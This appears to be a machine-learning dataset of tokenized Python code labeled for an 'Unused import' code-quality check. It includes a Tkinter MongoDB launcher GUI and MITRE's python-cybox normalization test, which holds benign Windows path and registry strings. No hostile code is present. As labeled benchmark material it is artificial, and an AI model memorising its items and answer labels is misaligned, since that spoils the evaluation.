"Menu", "Root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Creat", "e", "Widgets_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "master_", "._", "protocol_", "(_", "\"", "WM", "\\u", "DELET", "E", "\\u", "WIND", "OW", "\"_", ",_", "self_", "._", "Qui", "t", "Event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Link", "Git", "Hub", "Page_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "webbrowser_", "._", "open_", "(_", "'", "https", "://", "git", "hub", ".", "com", "/", "yi", "ldi", "zb", "erk", "ay", "/", "Mon", "go", "App", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Link", "Mon", "go", "DB", "Docs", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "webbrowser_", "._", "open_", "(_", "'", "http", "://", "docs", ".", "mongodb", ".", "org", "/", "manu", "al", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Open", "DB", "Folder_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subprocess_", "._", "call_", "(_", "[_", "\"", "open", "\"_", ",_", "DATA", "\\u", "ROO", "T", "\\u", "FOLDER_", "+_", "\"/", "data", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Start", "Server_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Mon", "go", "Object_", "=_", "self_", "._", "Mon", "go_", "._", "Start", "Mon", "go_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS", "tatus_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Line_", "=_", "self_", "._", "Mon", "go", "Object_", "._", "stdout_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Append", "Log_", "(_", "Line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "str_", "(_", "self_", "._", "Mon", "go", "Object_", "._", "poll_", "(_", ")_", ")_", "==_", "'", "Non", "e", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Ico", "n", "Panel_", "._", "config_", "(_", "image_", "=_", "self_", "._", "Activ", "e", "Ico", "n", "Image_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Status_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS", "tatus_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "str_", "(_", "self_", "._", "Mon", "go", "Object_", "._", "poll_", "(_", ")_", ")_", "==_", "'", "100", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "SS", "tatus_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Ico", "n", "Panel_", "._", "config_", "(_", "image_", "=_", "self_", "._", "Off", "Ico", "n", "Image_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "Status_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Mon", "go", "Object_", "._", "stdout_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "SS", "tatus_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Sto", "p", "Button_", "[_", "\"", "state", "\"_", "]_", "=_", "DISABLED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Start", "Button_", "[_", "\"", "state", "\"_", "]_", "=_", "NORMAL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ico", "n", "Panel_", "._", "config_", "(_", "image_", "=_", "self_", "._", "Error", "Ico", "n", "Image_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Append", "Log_", "(_", "\"", "Error", "!\\\\", "n", "\"_", ",_", "'", "Error", "Head", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Append", "Log_", "(_", "\"", "Mon", "go", "DB", " ", "is", " ", "not", " ", "working", ",", " ", "plea", "se", " ", "check", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "console", " ", "log", ".\\\\", "n", "\"_", ",_", "'", "Notifi", "cation", "Head", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "Append", "Log_", "(_", "\"-------", "--------------", "--------------", "--------------", "-\\\\", "n", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Notifi", "cation", "Head", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Start", "Server", "Multi", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Start", "Button_", "[_", "\"", "state", "\"_", "]_", "=_", "DISABLED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Sto", "p", "Button_", "[_", "\"", "state", "\"_", "]_", "=_", "NORMAL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Append", "Log_", "(_", "\"", "Mon", "go", "DB", " ", "is", " ", "startin", "g", ".\\\\", "n", "\"_", ",_", "'", "Notifi", "cation", "Head", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "SM_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "Start", "Server_", ",_", "args_", "=_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "SM_", "._", "set", "Daemon_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "SM_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Sto", "p", "Server_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Mon", "go", "Object_", "._", "terminate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Sto", "p", "Button_", "[_", "\"", "state", "\"_", "]_", "=_", "DISABLED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Start", "Button_", "[_", "\"", "state", "\"_", "]_", "=_", "NORMAL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Status_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear", "Console_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Log", "Area_", "._", "delete_", "(_", "\"", "0.", "0", "\"_", ",_", "END_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Creat", "e", "Widgets_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Start", "Button_", "=_", "Button_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Start", "Button_", "[_", "\"", "text", "\"_", "]_", "=_", "\"", "Start", " ", "Mon", "go", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Start", "Button_", "[_", "\"", "fg", "\"_", "]_", "=_", "\"", "red", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Start", "Button_", "[_", "\"", "command", "\"_", "]_", "=_", "self_", "._", "Start", "Server", "Multi", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Start", "Button_", "._", "pack_", "(_", "{_", "\"", "side", "\"_", ":_", "\"", "left", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Sto", "p", "Button_", "=_", "Button_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Sto", "p", "Button_", "[_", "\"", "text", "\"_", "]_", "=_", "\"", "Sto", "p", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Sto", "p", "Button_", "[_", "\"", "command", "\"_", "]_", "=_", "self_", "._", "Sto", "p", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Sto", "p", "Button_", "[_", "\"", "state", "\"_", "]_", "=_", "DISABLED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Sto", "p", "Button_", "._", "pack_", "(_", "{_", "\"", "side", "\"_", ":_", "\"", "left", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Get", "Info_", "=_", "Button_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Get", "Info_", "[_", "\"", "text", "\"_", "]_", "=_", "\"", "Clear", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Get", "Info_", "[_", "\"", "command", "\"_", "]_", "=_", "self_", "._", "Clear", "Console_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Get", "Info_", "._", "pack_", "(_", "{_", "\"", "side", "\"_", ":_", "\"", "left", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Open", "Folder_", "=_", "Button_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Open", "Folder_", "[_", "\"", "text", "\"_", "]_", "=_", "\"", "Open", " ", "DB", " ", "Fold", "er", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Open", "Folder_", "[_", "\"", "command", "\"_", "]_", "=_", "self_", "._", "Open", "DB", "Folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Open", "Folder_", "._", "pack_", "(_", "{_", "\"", "side", "\"_", ":_", "\"", "left", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Power", "ed", "Mon", "go", "Panel_", "=_", "Label_", "(_", "self_", ",_", "image_", "=_", "self_", "._", "Mon", "go", "DB", "Logo", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Power", "ed", "Mon", "go", "Panel_", "._", "image_", "=_", "self_", "._", "Mon", "go", "DB", "Logo", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Power", "ed", "Mon", "go", "Panel_", "._", "pack_", "(_", "{_", "\"", "side", "\"_", ":_", "\"", "right", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Ico", "n", "Panel_", "=_", "Label_", "(_", "self_", ",_", "image_", "=_", "self_", "._", "Off", "Ico", "n", "Image_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ico", "n", "Panel_", "._", "image_", "=_", "self_", "._", "Off", "Ico", "n", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Ico", "n", "Panel_", "._", "pack_", "(_", "{_", "\"", "side", "\"_", ":_", "\"", "right", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Log", "Area_", "=_", "Text_", "(_", "self_", "._", "Cons", "ole", "Log", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Log", "Area_", "[_", "\"", "bd", "\"_", "]_", "=_", "\"", "0", "px", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Log", "Area_", "[_", "\"", "bg", "\"_", "]_", "=_", "\"", "black", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Log", "Area_", "[_", "\"", "fg", "\"_", "]_", "=_", "\"", "green", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Log", "Area_", "[_", "\"", "highlight", "thick", "ness", "\"_", "]_", "=_", "\"", "0", "px", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Log", "Area_", "._", "insert_", "(_", "INSERT", "_", ",_", "\"", "Click", " ", "to", " ", "\\\\\"", "Start", " ", "Mon", "go", "\\\\\"", " ", "button", " ", "for", " ", "start", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "the", " ", "server", ".\\\\", "n", "Git", "Hub", " ", "repos", "itor", "y", ":", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "http", "://", "git", ".", "io", "/", "Mon", "go", "App", "\\\\", "n", "Mon", "go", "App", " ", "version", ":", " ", "0.", "2.6", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Log", "Area_", "._", "pack_", "(_", "expand_", "=_", "1_", ",_", "fill_", "=_", "'", "bot", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Log", "Area_", "._", "tag", "\\u", "config_", "(_", "\"", "Notifi", "cation", "Head", "\"_", ",_", "background_", "=_", "\"#", "f1", "c4", "0f", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "foreground_", "=_", "\"#", "2c", "3e", "50", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Log", "Area_", "._", "tag", "\\u", "config_", "(_", "\"", "Error", "Head", "\"_", ",_", "background_", "=_", "\"#", "e7", "4c", "3c", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "foreground_", "=_", "\"#", "ffffff", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "font_", "=_", "tk", "Font_", "._", "Font_", "(_", "weight_", "=_", "'", "bold", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Append", "Log_", "(_", "self_", ",_", "logl", "ine_", ",_", "tag_", "=_", "'", "Non", "e", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tag_", "==_", "'", "Non", "e", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Log", "Area_", "._", "insert_", "(_", "END_", ",_", "logl", "ine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Log", "Area_", "._", "insert_", "(_", "END_", ",_", "logl", "ine_", ",_", "(_", "tag_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "Log", "Area_", "._", "see", "_", "(_", "'", "end", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Qui", "t", "Event_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "Status_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Mon", "go", "Object_", "._", "terminate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "master_", "._", "destroy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "master_", "._", "quit_", "(_", ")_", "\\u\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
CybOXProject/python-cybox/cybox/test/utils/normalize_test.py
[ { "content": "# Copyright (c) 2015, The MITRE Corporation. All rights reserved.\n# See LICENSE.txt for complete terms.\n\n\nimport unittest\n\nfrom cybox.utils.normalize import normalize_object_properties\nfrom cybox.objects.file_object import File\nfrom cybox.objects.win_registry_key_object import WinRegistryKey, RegistryValues, RegistryValue\nfrom cybox.objects.process_object import Process, ImageInfo\nfrom cybox.objects.mutex_object import Mutex\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestNormalization(unittest.TestCase):\n\n\n\n ", "metadata": "root.TestNormalization", "header": "['module', '___EOS___']", "index": 12 }, { "content": " def test_file_path(self):\n file_path_string = \"%WinDir%\\abcd.dll\"\n normalized_file_path_string = \"CSIDL_WINDOWS\\abcd.dll\"\n\n file_obj = File()\n file_obj.file_path = file_path_string\n\n normalize_object_properties(file_obj)\n\n self.assertEqual(file_obj.file_path.value, normalized_file_path_string)", "metadata": "root.TestNormalization.test_file_path", "header": "['class', 'TestNormalization', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 14 }, { "content": " def test_registry_value_data(self):\n file_path_string = \"C:\"\n normalized_file_path_string = \"%SystemDrive%\"\n\n registry_key_obj = WinRegistryKey()\n registry_key_obj.values = RegistryValues()\n registry_value = RegistryValue()\n registry_value.data = file_path_string\n registry_key_obj.values.append(registry_value)\n\n normalize_object_properties(registry_key_obj)\n\n self.assertEqual(registry_key_obj.values[0].data.value, normalized_file_path_string)", "metadata": "root.TestNormalization.test_registry_value_data", "header": "['class', 'TestNormalization', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " def test_registry_hive(self):\n hive_string = \"HKLM\"\n normalized_hive_string = \"HKEY_LOCAL_MACHINE\"\n\n registry_key_obj = WinRegistryKey()\n registry_key_obj.hive = hive_string\n\n normalize_object_properties(registry_key_obj)\n\n self.assertEqual(registry_key_obj.hive.value, normalized_hive_string)", "metadata": "root.TestNormalization.test_registry_hive", "header": "['class', 'TestNormalization', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 39 }, { "content": " def test_process_image_info_path(self):\n file_path_string = \"C:\\Windows\\System32\\abcd.dll\"\n normalized_file_path_string = \"CSIDL_SYSTEM\\abcd.dll\"\n\n process_obj = Process()\n process_obj.image_info = ImageInfo()\n process_obj.image_info.path = file_path_string\n\n normalize_object_properties(process_obj)\n\n self.assertEqual(process_obj.image_info.path.value, normalized_file_path_string)", "metadata": "root.TestNormalization.test_process_image_info_path", "header": "['class', 'TestNormalization', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 50 } ]
[ { "span": "from cybox.objects.mutex_object import Mutex", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 44 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "201", "5", ",", " ", "The", " ", "MIT", "RE", " ", "Cor", "porat", "ion", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "LICENSE", ".", "txt", " ", "for", " ", "complete", " ", "term", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "cy", "box_", "._", "utils_", "._", "normalize_", "import_", "normali", "ze", "\\u", "object\\u", "properties_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cy", "box_", "._", "objects_", "._", "file", "\\u", "object_", "import_", "File_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cy", "box_", "._", "objects_", "._", "win", "\\u", "registr", "y", "\\u", "key", "\\u", "object_", "import_", "Win", "Regi", "stry", "Key_", ",_", "Regi", "stry", "Values_", ",_", "Regi", "stry", "Value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cy", "box_", "._", "objects_", "._", "process", "\\u", "object_", "import_", "Process_", ",_", "Image", "Info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cy", "box_", "._", "objects_", "._", "mute", "x", "\\u", "object_", "import_", "Mute", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Normalization_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Normalization_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "file", "\\u", "path_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "path", "\\u", "string_", "=_", "\"%", "Win", "Dir", "%\\", "\\", "abc", "d", ".", "dll", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "normali", "zed", "\\u", "file", "\\u", "path", "\\u", "string_", "=_", "\"", "CSI", "DL", "\\u", "WINDOWS", "\\\\", "abc", "d", ".", "dll", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "file", "\\u", "obj_", "=_", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "obj_", "._", "file", "\\u", "path_", "=_", "file", "\\u", "path", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "normali", "ze", "\\u", "object\\u", "properties_", "(_", "file", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "file", "\\u", "obj_", "._", "file", "\\u", "path_", "._", "value_", ",_", "normali", "zed", "\\u", "file", "\\u", "path", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Normalization_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "registr", "y", "\\u", "value", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "path", "\\u", "string_", "=_", "\"", "C", ":\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "normali", "zed", "\\u", "file", "\\u", "path", "\\u", "string_", "=_", "\"%", "System", "Drive", "%\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "registr", "y", "\\u", "key", "\\u", "obj_", "=_", "Win", "Regi", "stry", "Key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "registr", "y", "\\u", "key", "\\u", "obj_", "._", "values_", "=_", "Regi", "stry", "Values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "registr", "y", "\\u", "value_", "=_", "Regi", "stry", "Value_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "registr", "y", "\\u", "value_", "._", "data_", "=_", "file", "\\u", "path", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "registr", "y", "\\u", "key", "\\u", "obj_", "._", "values_", "._", "append_", "(_", "registr", "y", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "normali", "ze", "\\u", 